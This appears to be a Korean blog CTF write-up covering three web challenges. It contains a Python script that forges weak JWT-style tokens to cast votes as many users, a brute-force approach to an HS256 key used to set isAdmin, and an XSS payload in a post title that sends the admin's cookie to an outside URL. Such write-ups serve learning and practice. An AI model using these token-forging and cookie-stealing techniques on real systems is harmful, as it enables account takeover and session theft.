어제 크리스마스 CTF에 팀을 구성하여 참여하여 10등으로 마무리하였다.
web - watermelon
upload music을 통해 파일을 업로드 할 수 있지만 딱히 업로드를 통해서 할 수 있는 것은 없다.
robots.txt를 통해 /xmas/.git에 접근 할 수 있었고 이를 통해 깃헙에 소스코드가 존재할 것이라 생각하여 검색을 하였더니 소스코드가 진짜 있었다.
소스코드를 분석해보면 음악을 업로드 한뒤 투표창에서 투표를 일정이상 받으면 바로 플래그를 준다. 하지만 투표는 계정당 한번 밖에 할 수가 없다.
따라서 토큰 값을 생성해서 다른 user_no로 투표를 하면 된다.
import hashlib, base64, requests
def send(a):
URL = "http://ch4n3.me:8080/xmas/vote.php"
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' }
data = { 'music_no': '186' }
cookies = { 'PHPSESSJWT': a }
r = requests.post(URL, cookies=cookies, data=data, headers=headers)
r = r.text
print(r)
if __name__=='__main__':
for i in range(0,1225):
headers = '{"alg":"sha256","typ":"JWT"}'
payload = '{"user_no":'+str(i)+',"id":"Tigre000","nickname":"Tigre000","iat":1577235166}'
signature = hashlib.sha256((headers+payload).encode()).hexdigest()
result = base64.b64encode((headers+'.'+payload+'.'+signature).encode()).decode()
send(result)
플래그를 얻을 수 있다.
또한 위처럼 풀지 않아도 플래그를 얻을 수 있는데 출제자가 테스트용으로 아이디랑 비밀번호를 admin admin으로 가입을 해둔뒤 문제를 풀어놔서 해당 계정으로 로그인하면 바로 플래그를 얻을 수 있다. 이것 때문에 푼 사람이 너무 많았다..
web - jwt
문제 이름처럼 로그인하면 jwt쿠키를 확인 할 수 있는데
사진과 마찬가지로 HS256알고리즘을 사용하고 있다. 맨처음에는 jwt none type injection attack을 생각해보았지만
문제에서 주어진 코드를 보면 알고리즘을 검사하고 있기 때문에 사용할 수 없다. 하지만 HS256알고리즘은 brute force를 통해 키값을 알아낼 수 있고 소스코드에서 키값은 0~9사이의 숫자 8자리로 구성되있다고 하였다. 이를 이용하여 먼저
10000000~99999999사이의 숫자가 담긴 테이블을 먼저 만든 뒤 온라인에 공개되있는 jwt crack 툴을 이용하여 key값을 구했다.
key를 알아냈으므로 원래 jwt에서 isAdmin을 True로 바꾼다음 변조한 jwt를 제출하여 플래그를 얻으면 된다.
web - csrf
처음 들어가면 글을 올릴 수 있는데 문제에서 admin이 계속 게시글을 본다 했으므로 xss를 통해 쿠키를 가져오면 될 것 같다.
글을 쓸 때 내용에다가 xss 구문을 넣으면 waf에 걸려서 안되지만 글 제목에서는 막히지 않으므로 글제목을 통해 xss를 일으키면 된다.
다른 필터링이 없으므로 그냥 밑의 구문을 이용해서 플래그를 얻었다. <script>window.location="url?q="+document.cookie;</script>
이렇게 해서 업로드 하니 바로 플래그가 날라왔다.
'ctf writeup' 카테고리의 다른 글
사이버작전경연대회 2020 본선 - [Web] PMS writeup (0) | 2020.10.19 |
---|---|
SSTF CTF 2020 Web - Migration (0) | 2020.08.18 |
m0leCon CTF 2020 Teaser Web Writeup (0) | 2020.05.25 |
CONfidenceCTF Web writeup - Cat web (0) | 2020.03.15 |
영남이공대 Hacking Championship Junior CTF writeup (0) | 2019.10.27 |